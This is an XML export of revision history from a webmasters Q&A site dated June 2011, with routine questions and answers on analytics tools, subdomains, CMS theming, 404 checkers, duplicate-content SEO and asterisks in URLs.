  <row Id="37643" PostHistoryTypeId="2" PostId="15866" RevisionGUID="30856b3f-c3e0-48c0-a2a7-8578fbed6e13" CreationDate="2011-06-24T15:56:40.043" UserId="1253" Text="Each have their own strengths and weaknesses. You need to decide which one's strengths would serve you best and while it's weaknesses do not hurt your ability get usable data.&#xD;&#xA;&#xD;&#xA;**Google Analytics**&#xD;&#xA;&#xD;&#xA;Pros:&#xD;&#xA;&#xD;&#xA;- Free&#xD;&#xA;- Integrated Adwords tracking&#xD;&#xA;- Updates and new features are automatically included and available to you&#xD;&#xA;&#xD;&#xA;Cons:&#xD;&#xA;&#xD;&#xA;- Can't reach content behind a firewall&#xD;&#xA;- You cannot self host it&#xD;&#xA;- Google owns your data&#xD;&#xA;- Can't process historical data (e.g. log files)&#xD;&#xA;&#xD;&#xA;**Urchin**&#xD;&#xA;&#xD;&#xA;Pros:&#xD;&#xA;&#xD;&#xA;- Can host it on your own server&#xD;&#xA;- Track content behind a firewall&#xD;&#xA;- Can process historical data&#xD;&#xA;&#xD;&#xA;Cons: &#xD;&#xA;&#xD;&#xA;- Expensive&#xD;&#xA;- Not all functionality is available immediately. Modules may need to be added and are an additional cost.&#xD;&#xA;- You have to install it and maintain updates to it&#xD;&#xA;&#xD;&#xA;There's more to it then this so you should definitely do more research on your own. The information is definitely out there. But this should give you an idea of how to compare the two to figure out which one best suits your needs." />
  <row Id="37644" PostHistoryTypeId="5" PostId="15865" RevisionGUID="a0c29800-22e0-44db-8901-79d3b6c23e34" CreationDate="2011-06-24T16:02:12.233" UserId="6033" Comment="added 197 characters in body" Text="Check to see if your base website returns using any combination of subdomain. &#xD;&#xA;&#xD;&#xA;**Example: pigeon.mydomain.com**&#xD;&#xA;&#xD;&#xA;If your server returns your base website using any/all subdomains then someone has probably linked to you using blisque.mydomain.com and that's why you see it.&#xD;&#xA;&#xD;&#xA;I've seen the process of returning the normal site on all subdomains called &quot;Wildcard Catchall Subdomains&quot;. A search with that term will likely return all you need to know about wildcard sudomains." />
  <row Id="37646" PostHistoryTypeId="2" PostId="15868" RevisionGUID="1afeb801-3868-425f-90e0-3df3609d862b" CreationDate="2011-06-24T16:41:11.853" UserId="4502" Text="One of the major differences you'll find between the theming methods is that versus Drupal's somewhat programmatic style and mixture of theming in both files and database, ExpressionEngine's is more like creating an HTML shell and then adding output variables and looping constructs to it. I'm not sure that it particularly gives you &quot;more&quot; control, maybe just more *direct* control, right in the template itself.&#xD;&#xA;&#xD;&#xA;So, where Drupal's page.tpl has:&#xD;&#xA;&#xD;&#xA;    &lt;?php print $content ?&gt;&#xD;&#xA;&#xD;&#xA;...which automatically dumps out your content fields and all sorts of handy CSS ids and classes as you've configured things in admin(I'm simplifying some, obviously), your EE template might have something like:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;entry&quot;&gt;&#xD;&#xA;        &lt;h1&gt;{title}&lt;/h1&gt;&#xD;&#xA;        &lt;div class=&quot;entry-body&quot;&gt;&#xD;&#xA;            {body}&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&quot;entry-footer&quot;&gt;&#xD;&#xA;            {entry_date format=&quot;%Y %m %d&quot;}&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/entry&gt;&#xD;&#xA;&amp;nbsp;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is slightly outside of &quot;theming&quot;, but ExpressionEngine also has some strong opinions about what your URLs will be. There's a &lt;a href=&quot;http://expressionengine.com/wiki/Remove_index.php_From_URLs/&quot;&gt;large documentation document&lt;/a&gt; dedicated to just listing multiple ways to force EE to remove index.php from your URLs. Paths are also very tightly coupled to what you name your templates and template groups. So rather than simply *telling* pages where you want them to live URL-wise, you may end up naming your templates oddly just in order to make them end up at the correct URL." />
  <row Id="37647" PostHistoryTypeId="2" PostId="15869" RevisionGUID="c6824ce7-c8a0-4cfd-aa6b-5d6ee9a93a5f" CreationDate="2011-06-24T17:33:46.730" UserId="7962" Text="Brief history&#xD;&#xA;&#xD;&#xA; - *domain.com* was associated with a blogspot.&#xD;&#xA; - *domain.com* changed to an institutional site and features a small code instructing which file should be retrieved by RSS readers.&#xD;&#xA;&#xD;&#xA;        &lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; href=&quot;http://domain.tumblr.com/rss&quot; /&gt; &#xD;&#xA;&#xD;&#xA; - Google Reader didn't update the RSS to the new blog.&#xD;&#xA; - *domain.com/blog* retrieves the posts correctly because it was never used for that purpose in the older blog.&#xD;&#xA;&#xD;&#xA;**How is it possible to force Google Reader to update the cached information?** I tried using another RSS reader and it worked perfectly with the new domain. However, when I tried to follow *domain.com* in another Google Reader account, it still showed the posts from the older blog.&#xD;&#xA;&#xD;&#xA;It's been almost a month that the aforementioned changes were made." />
  <row Id="37648" PostHistoryTypeId="1" PostId="15869" RevisionGUID="c6824ce7-c8a0-4cfd-aa6b-5d6ee9a93a5f" CreationDate="2011-06-24T17:33:46.730" UserId="7962" Text="How to refresh Google Reader cache for a specific domain" />
  <row Id="37649" PostHistoryTypeId="3" PostId="15869" RevisionGUID="c6824ce7-c8a0-4cfd-aa6b-5d6ee9a93a5f" CreationDate="2011-06-24T17:33:46.730" UserId="7962" Text="&lt;google&gt;&lt;cache&gt;&lt;rss&gt;&lt;blogger&gt;&lt;tumblr&gt;" />
  <row Id="37650" PostHistoryTypeId="5" PostId="15868" RevisionGUID="f6b5408b-a62b-495f-b295-c0c6cf4ebf07" CreationDate="2011-06-24T17:34:33.187" UserId="4502" Comment="Corrected repetitive redundancy." Text="One of the major differences you'll find between the theming methods is that versus Drupal's somewhat programmatic style and mixture of theming in both files and database, ExpressionEngine's is more like creating an HTML shell and then adding output variables and looping constructs to it. I'm not sure that it particularly gives you &quot;more&quot; control, maybe just more *direct* control, right in the template itself.&#xD;&#xA;&#xD;&#xA;So, where Drupal's page.tpl has:&#xD;&#xA;&#xD;&#xA;    &lt;?php print $content ?&gt;&#xD;&#xA;&#xD;&#xA;...which automatically dumps out your content fields and all sorts of handy CSS ids and classes as you've configured things in admin(I'm simplifying some, obviously), your EE template might have something like:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;entry&quot;&gt;&#xD;&#xA;        &lt;h1&gt;{title}&lt;/h1&gt;&#xD;&#xA;        &lt;div class=&quot;entry-body&quot;&gt;&#xD;&#xA;            {body}&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&quot;entry-footer&quot;&gt;&#xD;&#xA;            {entry_date format=&quot;%Y %m %d&quot;}&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/entry&gt;&#xD;&#xA;&amp;nbsp;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is slightly outside of &quot;theming&quot;, but ExpressionEngine also has some strong opinions about what your URLs will be. There's a &lt;a href=&quot;http://expressionengine.com/wiki/Remove_index.php_From_URLs/&quot;&gt;large documentation page&lt;/a&gt; dedicated to just listing multiple ways to force EE to remove index.php from your URLs. Paths are also very tightly coupled to what you name your templates and template groups. So rather than simply *telling* pages where you want them to live URL-wise, you may end up naming your templates oddly just in order to make them end up at the correct URL." />
  <row Id="37651" PostHistoryTypeId="2" PostId="15870" RevisionGUID="275dcb4b-a1b9-4bb7-a520-9bdda4e0675b" CreationDate="2011-06-24T17:35:13.780" UserId="3948" Text="We do provide a contact form on our website for the reason that we assume that a user visiting our website might not have an e-mail client configured on his system and we want to ensure that he still can get in contact with us." />
  <row Id="37652" PostHistoryTypeId="25" PostId="15862" RevisionGUID="fa694a08-bd02-43a3-a9e8-bf099c90997f" CreationDate="2011-06-24T18:25:03.143" Comment="http://twitter.com/#!/StackWebmasters/status/84326181591191554" />
  <row Id="37653" PostHistoryTypeId="2" PostId="15871" RevisionGUID="88ce9648-ed44-4457-97aa-74e554f718a1" CreationDate="2011-06-24T20:04:28.250" UserId="7964" Text="Is there a tool to monitor or discover 404's or broken links? &#xD;&#xA;&#xD;&#xA;Google Webmaster 404 tool is a bit slow. &#xD;&#xA;&#xD;&#xA;I'd like to discover the 404's before Google Webmaster does." />
  <row Id="37654" PostHistoryTypeId="1" PostId="15871" RevisionGUID="88ce9648-ed44-4457-97aa-74e554f718a1" CreationDate="2011-06-24T20:04:28.250" UserId="7964" Text="404 monitoring tool for websites?" />
  <row Id="37655" PostHistoryTypeId="3" PostId="15871" RevisionGUID="88ce9648-ed44-4457-97aa-74e554f718a1" CreationDate="2011-06-24T20:04:28.250" UserId="7964" Text="&lt;tools&gt;&lt;404&gt;" />
  <row Id="37656" PostHistoryTypeId="2" PostId="15872" RevisionGUID="7d10b07c-9ddd-436c-af02-edf8cc6fbf4d" CreationDate="2011-06-24T20:07:22.817" UserId="1253" Text="[Xenu's Link Sleuth][1] works very well and is free. The website looks crappy, but the software works well. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.snafu.de/tilman/xenulink.html" />
  <row Id="37657" PostHistoryTypeId="2" PostId="15873" RevisionGUID="e9d4bb36-fdf7-46c1-be84-9dac38fd6060" CreationDate="2011-06-24T20:10:45.323" UserId="8544" Text="I'm dealing with a lot of vehicle specific products, and I've been trying to determine whether to convert the variants/fit option into individual products. I currently put the vehicle specific items under a product:&#xD;&#xA;&#xD;&#xA;Product: Widget Hood Deflectors&#xD;&#xA;Option1: 07-11 Silverado/Sierra, SKU1&#xD;&#xA;Option2: 09-11 Ram, SKU2&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;Take a hood/bug deflector for example.  They all share the same description, and specifications for the most part.  They look very similar, but the shape/appearance could vary significantly depending on the vehicle it is going on.&#xD;&#xA;&#xD;&#xA;Another example could be a suspension lift kit. Each one is engineered for a specific vehicle application.  What would be the product &quot;Widget Super Duper 4 inch lift kit&quot;, or &quot;Widget Jeep 07-11 Super Duper 4 inch lift kit&quot;?&#xD;&#xA;&#xD;&#xA;If I converted the variants to a product, then I have *a lot* more products (some so called products or product lines have hundreds of applications), when no vehicle is selected, but if I require a vehicle to be selected, then the product results would be basically the same, and specific for that vehicle. The description would also be longer:&#xD;&#xA;&#xD;&#xA;Product: Widget Silverado/Sierra 07-11 Hood Deflector&#xD;&#xA;&#xD;&#xA;With the fit as a variants/option, then I have fewer products, but I could have a huge list of options.&#xD;&#xA;&#xD;&#xA;Product: Widget Hood Deflectors&#xD;&#xA;Options: Fit/Vehicle&#xD;&#xA;&#xD;&#xA;Am I doing things right by having product applications as variants, or am I treating a product line as a product?&#xD;&#xA;" />
  <row Id="37658" PostHistoryTypeId="1" PostId="15873" RevisionGUID="e9d4bb36-fdf7-46c1-be84-9dac38fd6060" CreationDate="2011-06-24T20:10:45.323" UserId="8544" Text="Product application - is it a product or product variation" />
  <row Id="37659" PostHistoryTypeId="3" PostId="15873" RevisionGUID="e9d4bb36-fdf7-46c1-be84-9dac38fd6060" CreationDate="2011-06-24T20:10:45.323" UserId="8544" Text="&lt;website-design&gt;&lt;websites&gt;&lt;useability&gt;" />
  <row Id="37660" PostHistoryTypeId="5" PostId="15871" RevisionGUID="35344d02-fc5e-46eb-a5ea-88d2860586a6" CreationDate="2011-06-24T20:20:43.890" UserId="7964" Comment="added 80 characters in body" Text="Is there a tool to monitor or discover 404's or broken links online? &#xD;&#xA;&#xD;&#xA;Google Webmaster 404 tool is a bit slow. &#xD;&#xA;&#xD;&#xA;I'd like to discover the 404's before Google Webmaster does.&#xD;&#xA;&#xD;&#xA;Edit: I use linux and i'm looking for online tools for 404 discovery." />
  <row Id="37661" PostHistoryTypeId="5" PostId="15858" RevisionGUID="4a455c8a-3c14-4670-8ef0-ed5f8022d9cf" CreationDate="2011-06-24T20:22:45.430" UserId="8537" Comment="added 138 characters in body" Text="When looking through my Google Analytics reports, I see visits via mydomain.com but also '**blisque.mydomain.com**'. When I visit there, the site is served up, however I haven't configured this subdomain myself, nor do I know what it is.&#xD;&#xA;&#xD;&#xA;Any idea what this is??&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: I understand technically why this happening (through the wildcard DNS entry). **I'm more asking what 'blisque' is. Any idea?**" />
  <row Id="37662" PostHistoryTypeId="2" PostId="15874" RevisionGUID="13510e6c-6682-4354-9772-8b1b6e8ad9a8" CreationDate="2011-06-24T20:33:54.483" UserId="7964" Text="Adding to this answer:&#xD;&#xA;&#xD;&#xA;Could be permissions issues with your .htaccess file as well." />
  <row Id="37663" PostHistoryTypeId="2" PostId="15875" RevisionGUID="7952e636-27af-4f37-9cef-3c2a5d2256fc" CreationDate="2011-06-24T21:19:36.463" UserId="7962" Text="Clear every information on your MySQL database for wordpress and try reinstalling. It's possible the new database is conflicting with the old one." />
  <row Id="37664" PostHistoryTypeId="25" PostId="15846" RevisionGUID="b483687f-fc8c-415f-8d83-d612c174c3ef" CreationDate="2011-06-24T21:25:03.847" Comment="http://twitter.com/#!/StackWebmasters/status/84371483190767616" />
  <row Id="37665" PostHistoryTypeId="2" PostId="15876" RevisionGUID="109e5d61-6874-4680-ba61-a7298ec6ca7c" CreationDate="2011-06-24T21:26:20.420" UserId="7962" Text="Make a customized 404 page and insert the tracking code for Google Analytics. You can then track what kind of address is being typed by visitors who get 404." />
  <row Id="37666" PostHistoryTypeId="2" PostId="15877" RevisionGUID="cb5d45ad-884a-4886-8055-5f34c17a4c9d" CreationDate="2011-06-24T22:23:47.067" UserId="7198" Text=" 1. Store successful customer orders in their account.&#xD;&#xA; 2. Create an 'order history' page based on the stored info.&#xD;&#xA; 3. Allow them to log in and click the 'reorder' button next to previous orders.&#xD;&#xA; 4. Upon reorder, add those same items to the cart and send them to the final 'confirm' checkout stage.&#xD;&#xA;&#xD;&#xA;(The link to your form is dead, but the above process is what I recommend; it removes the need for complex forms altogether.) " />
  <row Id="37667" PostHistoryTypeId="5" PostId="15871" RevisionGUID="58daa546-6573-447e-a471-cad87fe80a0c" CreationDate="2011-06-24T22:29:28.840" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Online dead link alert service](http://webmasters.stackexchange.com/questions/14010/online-dead-link-alert-service)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Is there a tool to monitor or discover 404's or broken links online? &#xD;&#xA;&#xD;&#xA;Google Webmaster 404 tool is a bit slow. &#xD;&#xA;&#xD;&#xA;I'd like to discover the 404's before Google Webmaster does.&#xD;&#xA;&#xD;&#xA;Edit: I use linux and i'm looking for online tools for 404 discovery." />
  <row Id="37668" PostHistoryTypeId="10" PostId="15871" RevisionGUID="e61a7077-407b-4c75-803f-acaaf3921732" CreationDate="2011-06-24T22:29:28.310" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="37669" PostHistoryTypeId="2" PostId="15878" RevisionGUID="4bf336bf-fe0b-4ace-b775-ba3dfc6276f3" CreationDate="2011-06-24T22:30:33.027" UserId="8546" Text="I'm working with a CMS that allows me to post content in to multiple categories.&#xD;&#xA;&#xD;&#xA;So, I have this link:&#xD;&#xA;&#xD;&#xA;    www.site.com/category/green-cars&#xD;&#xA;    &#xD;&#xA;    Here are the GREEN cars&#xD;&#xA;        TITLE: A Big green car&#xD;&#xA;        INTRO: this is a great big green car.&#xD;&#xA;&#xD;&#xA;But then I have this link:&#xD;&#xA;&#xD;&#xA;    www.site.com/category/big-cars&#xD;&#xA;&#xD;&#xA;    Here are the BIG cars&#xD;&#xA;        TITLE: A Big green car&#xD;&#xA;        INTRO: this is a great big green car.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So essentially - for every item of content, **header** and the **intro sentence** is the same regardless of the category the item appears in.&#xD;&#xA;&#xD;&#xA;Will a search engine penalise the site for having the same content in this way? &#xD;&#xA;&#xD;&#xA;I've looked at canonical links, but I don't think this is relevant here. All my content points to the same page - but the content may appear in multiple categories first.&#xD;&#xA;&#xD;&#xA;Or am I worrying about nothing? &#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37670" PostHistoryTypeId="1" PostId="15878" RevisionGUID="4bf336bf-fe0b-4ace-b775-ba3dfc6276f3" CreationDate="2011-06-24T22:30:33.027" UserId="8546" Text="Content appearing under multiple categories; anything I can do to prevent duplicate penalty?" />
  <row Id="37671" PostHistoryTypeId="3" PostId="15878" RevisionGUID="4bf336bf-fe0b-4ace-b775-ba3dfc6276f3" CreationDate="2011-06-24T22:30:33.027" UserId="8546" Text="&lt;seo&gt;&lt;content&gt;&lt;duplicate-content&gt;" />
  <row Id="37672" PostHistoryTypeId="2" PostId="15879" RevisionGUID="015ef401-77f6-4a64-85a1-0c7e28260c6d" CreationDate="2011-06-25T00:02:42.387" UserId="8547" Text="There are more than 10 categories in my site, users can register more than one category.&#xD;&#xA;My php script prepare contents of each category, according to user preference  my script merge those contents for each user. so every user can get what category they want.&#xD;&#xA;&#xD;&#xA;Problem is I want to send 340+ mails per hour and dreamhost dont allow.&#xD;&#xA;&#xD;&#xA;What do you suggest?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think to a service like mailchimp but I couldnt find that scenario, do they support category &amp; content etc.&#xD;&#xA;Can I use smtp in dreamhost?&#xD;&#xA;" />
  <row Id="37673" PostHistoryTypeId="1" PostId="15879" RevisionGUID="015ef401-77f6-4a64-85a1-0c7e28260c6d" CreationDate="2011-06-25T00:02:42.387" UserId="8547" Text="mailing for categories" />
  <row Id="37674" PostHistoryTypeId="3" PostId="15879" RevisionGUID="015ef401-77f6-4a64-85a1-0c7e28260c6d" CreationDate="2011-06-25T00:02:42.387" UserId="8547" Text="&lt;php&gt;&lt;bulk-email&gt;&lt;dreamhost&gt;" />
  <row Id="37675" PostHistoryTypeId="25" PostId="15858" RevisionGUID="d4e15ee7-f242-4c0b-aae6-27cf7f0b25e4" CreationDate="2011-06-25T00:25:03.537" Comment="http://twitter.com/#!/StackWebmasters/status/84416780642172928" />
  <row Id="37676" PostHistoryTypeId="2" PostId="15880" RevisionGUID="8e2a733e-50da-443d-a3a3-fd928ba88bef" CreationDate="2011-06-25T00:43:12.267" UserId="7938" Text="Canonical tags are relevant when content is exactly the same and you want to tell Google which one to pay attention to..&#xD;&#xA;&#xD;&#xA;The quote below sounds like you are posting the same content in multiple categories, but your examples show that the only things that are the same are the title and intro..&#xD;&#xA;&#xD;&#xA;&gt; I'm working with a CMS that allows me to post content in to multiple categories.&#xD;&#xA;&#xD;&#xA;Anyways, back to answering your question; I would do the following things:&#xD;&#xA;&#xD;&#xA;1) Make your CMS handle unique headers and intro sentences so every page is unique.&#xD;&#xA;&#xD;&#xA;2) Add enough quality content that both pages are unique and valuable to your visitors.&#xD;&#xA;&#xD;&#xA;I am assuming your meta title and description are unique for each page..&#xD;&#xA;&#xD;&#xA;Basically, as long the majority of the content on both pages are of quality and unique, you will be fine.. Duplicate content is exactly what it sounds. Duplicate. You don't have to worry about a couple sentences being the same.&#xD;&#xA;&#xD;&#xA;Like mentioned above though, if the meta titles or descriptions are the same, you do have to worry about that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37677" PostHistoryTypeId="2" PostId="15881" RevisionGUID="d46bc425-7c0c-4626-90dc-955206489b90" CreationDate="2011-06-25T01:18:34.870" UserId="8548" Text="Choice should be simple.&#xD;&#xA;&#xD;&#xA;If your web is developed in either HTML or PHP,&#xD;&#xA;instantly go with Linux.&#xD;&#xA;&#xD;&#xA;In case of ASP, ASP.NET, you have no choice but&#xD;&#xA;to sign up with Windows. " />
  <row Id="37678" PostHistoryTypeId="2" PostId="15882" RevisionGUID="1e8688b9-055d-4493-a14d-3571314740d5" CreationDate="2011-06-25T01:38:20.057" UserId="8549" Text="Is it possible to format numbers using css ?&#xD;&#xA;&#xD;&#xA;When I have `7000000.00`, I would like it displayed as `7 000 000.00`&#xD;&#xA;&#xD;&#xA;I know I could write a backend (php, perl...) function or a javascript function that could return the formatted number but...&#xD;&#xA;&#xD;&#xA;The numbers that I want to format are into a cell. I would like to have something like&#xD;&#xA;&#xD;&#xA;`&lt;td class=&quot;myformat&quot;&gt;7000000.00&lt;/td&gt;`  &#xD;&#xA;or  &#xD;&#xA;`&lt;td&gt;&lt;span class=&quot;myformat&quot;&gt;7000000.00&lt;span&gt;&lt;/td&gt;`" />
  <row Id="37679" PostHistoryTypeId="1" PostId="15882" RevisionGUID="1e8688b9-055d-4493-a14d-3571314740d5" CreationDate="2011-06-25T01:38:20.057" UserId="8549" Text="Format numbers with css" />
  <row Id="37680" PostHistoryTypeId="3" PostId="15882" RevisionGUID="1e8688b9-055d-4493-a14d-3571314740d5" CreationDate="2011-06-25T01:38:20.057" UserId="8549" Text="&lt;css&gt;" />
  <row Id="37681" PostHistoryTypeId="2" PostId="15883" RevisionGUID="9c7d8ee0-af45-450d-986c-5ddd5d7935a4" CreationDate="2011-06-25T01:47:12.867" UserId="1253" Text="Currently CSS does not format numbers in the way you are hoping although it does [look like it's being discussed][1]. For now you're best bet is to stick with server -side formatting. You could do it with JavaScript but that wouldn't be as reliable as server side technologies since users can turn it off.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.csswg.org/ideas/content-formatting" />
  <row Id="37682" PostHistoryTypeId="5" PostId="15883" RevisionGUID="c5e93a04-6e68-4f38-baa8-44f36efebbf5" CreationDate="2011-06-25T01:52:20.913" UserId="1253" Comment="deleted 1 characters in body" Text="Currently CSS does not format numbers in the way you are hoping although it does [look like it's being discussed][1]. For now you're best bet is to stick with server-side formatting. You could do it with JavaScript but that wouldn't be as reliable as server side technologies since users can turn it off.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.csswg.org/ideas/content-formatting" />
  <row Id="37683" PostHistoryTypeId="25" PostId="15882" RevisionGUID="b5449e6a-2e0b-4512-8278-c4c8c3d2ad50" CreationDate="2011-06-25T03:25:04.327" Comment="http://twitter.com/#!/StackWebmasters/status/84462079267971072" />
  <row Id="37684" PostHistoryTypeId="2" PostId="15884" RevisionGUID="404ffb2e-f217-48ae-a4c6-386d3a3d6999" CreationDate="2011-06-25T04:55:46.980" UserId="6441" Text="Are there any reasons I shouldn't use an asterix (`*`) in a URL?  &#xD;&#xA;&#xD;&#xA;*Background:*&#xD;&#xA;&#xD;&#xA;With asterixes, I could provide these nice and user friendly (or what do you think??) URLs:&#xD;&#xA;&#xD;&#xA; - `example.com/some/folder/search-phrase*`  &#xD;&#xA; means *search for pages with names starting with &quot;search-phrase&quot;, located in /some/folder/*.&#xD;&#xA;&#xD;&#xA; - `example.com/some/**/*search-phrase*`  &#xD;&#xA; means *search for any page with &quot;search-phrase&quot; anywhere in its name*.&#xD;&#xA;&#xD;&#xA; - `example.com/some/folder/*`  &#xD;&#xA; means *list all pages in /some/folder/  (rather than showing the /some/folder/index page)*.&#xD;&#xA;" />
  <row Id="37685" PostHistoryTypeId="1" PostId="15884" RevisionGUID="404ffb2e-f217-48ae-a4c6-386d3a3d6999" CreationDate="2011-06-25T04:55:46.980" UserId="6441" Text="Asterix in URL?" />
  <row Id="37686" PostHistoryTypeId="3" PostId="15884" RevisionGUID="404ffb2e-f217-48ae-a4c6-386d3a3d6999" CreationDate="2011-06-25T04:55:46.980" UserId="6441" Text="&lt;seo&gt;&lt;url&gt;&lt;links&gt;" />
  <row Id="37687" PostHistoryTypeId="2" PostId="15885" RevisionGUID="3f4e7eb6-a753-4ffb-a121-34feccfcf973" CreationDate="2011-06-25T06:05:59.570" UserId="231" Text="Yes, it's a reserved character.&#xD;&#xA;&#xD;&#xA;&gt; **Other reserved characters**&#xD;&#xA;&#xD;&#xA;&gt; The asterisk (&quot;*&quot;, ASCII 2A hex) and exclamation mark (&quot;!&quot; , ASCII 21 hex) are reserved for use as having special significance within specific schemes.&#xD;&#xA;&#xD;&#xA;From here: http://www.w3.org/Addressing/URL/4_URI_Recommentations.html" />
  <row Id="37688" PostHistoryTypeId="25" PostId="15850" RevisionGUID="b6880f2f-47f2-48e8-bdf2-68398eca3cd0" CreationDate="2011-06-25T06:25:04.613" Comment="http://twitter.com/#!/StackWebmasters/status/84507378845888512" />
  <row Id="37689" PostHistoryTypeId="2" PostId="15886" RevisionGUID="1028e36d-1be2-4a51-8264-da5399583eee" CreationDate="2011-06-25T08:00:21.237" UserId="7198" Text="###On using Asterix in URLs&#xD;&#xA;![asterix][1]&#xD;&#xA;&#xD;&#xA;Using an [Asterix](http://www.asterix.com/) in your URL is probably not such a great idea, largely because:&#xD;&#xA;&#xD;&#xA; 1. Neither UTF-8 or ASCII is currently able to denote an Asterix.&#xD;&#xA; 2. He would be little more than a smudge in a standard browser address bar.&#xD;&#xA; 3. I doubt he'd like it very much. And he has some quite large friends.&#xD;&#xA; 4. It's just weird.&#xD;&#xA;&#xD;&#xA;###On using *Asterisks* in URLs&#xD;&#xA;Using an asterisk (*) in a URL (and, yes, I know that's what you meant all along) is also not such a great idea. Because it's a [reserved character,](http://www.w3.org/Addressing/URL/4_URI_Recommentations.html) it's not used anywhere else; even though your URL scheme seems user-friendly to you, few will think to try it, and it's likely to give unpredictable results because the meaning of wildcards in URLs is hard to discern. (I couldn't tell what all of your examples meant until I read your descriptions.)&#xD;&#xA;&#xD;&#xA;Not only that, but there might be some more semantic/meaningful ways to do what you describe. For example, you could append a query string and use a 'find' and 'where' variable to tell your method what to find where:&#xD;&#xA;&#xD;&#xA;Find pages starting with 'search phrase' in `/some/folder/`:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/?find=search-phrase&amp;where=start`&#xD;&#xA;&#xD;&#xA;Find pages with 'search phrase' anywhere:&#xD;&#xA;&#xD;&#xA;`example.com/some/?find=search-phrase&amp;where=anywhere`&#xD;&#xA;&#xD;&#xA;To show all pages, I would use a separate method called 'all' instead of a query string or wildcard syntax:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/all`&#xD;&#xA;&#xD;&#xA;The query string syntax is *far* more common than asterisks -- look in your address bar next time you do a Google search, for example -- and it will likely be easier to code too.&#xD;&#xA;&#xD;&#xA;Finally, if you don't like the look of query strings, you could prepend a method name called 'search' and then use the next two blocks as the 'find' and 'where' variables. e.g. Instead of: &#xD;&#xA;&#xD;&#xA;`example.com/some/folder/?find=search-phrase&amp;where=start`&#xD;&#xA;&#xD;&#xA;You could have:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/search/search-phrase/start`&#xD;&#xA;&#xD;&#xA;Then, you just need to check for the 'search' keyword in your URL path, and trigger the your search method using the next two path segments as variables.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Asterix image copyright Les Editions Albert-René/Goscinny-Uderzo.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/wmLH0.gif" />
  <row Id="37690" PostHistoryTypeId="5" PostId="15884" RevisionGUID="22685e9c-065a-48a1-bd71-fb423c624782" CreationDate="2011-06-25T08:49:34.607" UserId="4502" Comment="added 1 characters in body; edited title" Text="Are there any reasons I shouldn't use an asterisk (`*`) in a URL?  &#xD;&#xA;&#xD;&#xA;*Background:*&#xD;&#xA;&#xD;&#xA;With asterisks, I could provide these nice and user friendly (or what do you think??) URLs:&#xD;&#xA;&#xD;&#xA; - `example.com/some/folder/search-phrase*`  &#xD;&#xA; means *search for pages with names starting with &quot;search-phrase&quot;, located in /some/folder/*.&#xD;&#xA;&#xD;&#xA; - `example.com/some/**/*search-phrase*`  &#xD;&#xA; means *search for any page with &quot;search-phrase&quot; anywhere in its name*.&#xD;&#xA;&#xD;&#xA; - `example.com/some/folder/*`  &#xD;&#xA; means *list all pages in /some/folder/  (rather than showing the /some/folder/index page)*.&#xD;&#xA;" />
  <row Id="37691" PostHistoryTypeId="4" PostId="15884" RevisionGUID="22685e9c-065a-48a1-bd71-fb423c624782" CreationDate="2011-06-25T08:49:34.607" UserId="4502" Comment="added 1 characters in body; edited title" Text="Can I use asterisks in URLs?" />
  <row Id="37692" PostHistoryTypeId="2" PostId="15887" RevisionGUID="08e55757-efc0-45f4-9eac-0d315485278c" CreationDate="2011-06-25T09:12:37.217" UserId="4502" Text="Google &lt;a href=&quot;http://blogsearch.google.com/&quot;&gt;knows what blogs are&lt;/a&gt;, and knows that sometimes things end up in multiple categories, resulting in the index pages for those categories sharing some content which is usually just excerpts. &#xD;&#xA;&#xD;&#xA;As long as you're &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=66359&quot;&gt;doing this in good faith&lt;/a&gt;, you have nothing to worry about. If you actually *are* being penalized for duped content for whatever reason, then Webmaster Tools will tell you. (All of this covered the last three paragraphs or so.) &#xD;&#xA;&#xD;&#xA;That assumes, of course, that you're set up with Webmaster Tools. But if this is a significant concern for you and you haven't yet, you should, because it's the only *real* way you're going to know that's the reason your ranking has dropped if it ever happens, as opposed to some other reason. Otherwise you're just speculating." />
  <row Id="37693" PostHistoryTypeId="25" PostId="15884" RevisionGUID="bb29e05f-f90f-4e14-800d-c989ea4b54d1" CreationDate="2011-06-25T09:25:05.667" Comment="http://twitter.com/#!/StackWebmasters/status/84552681686974464" />
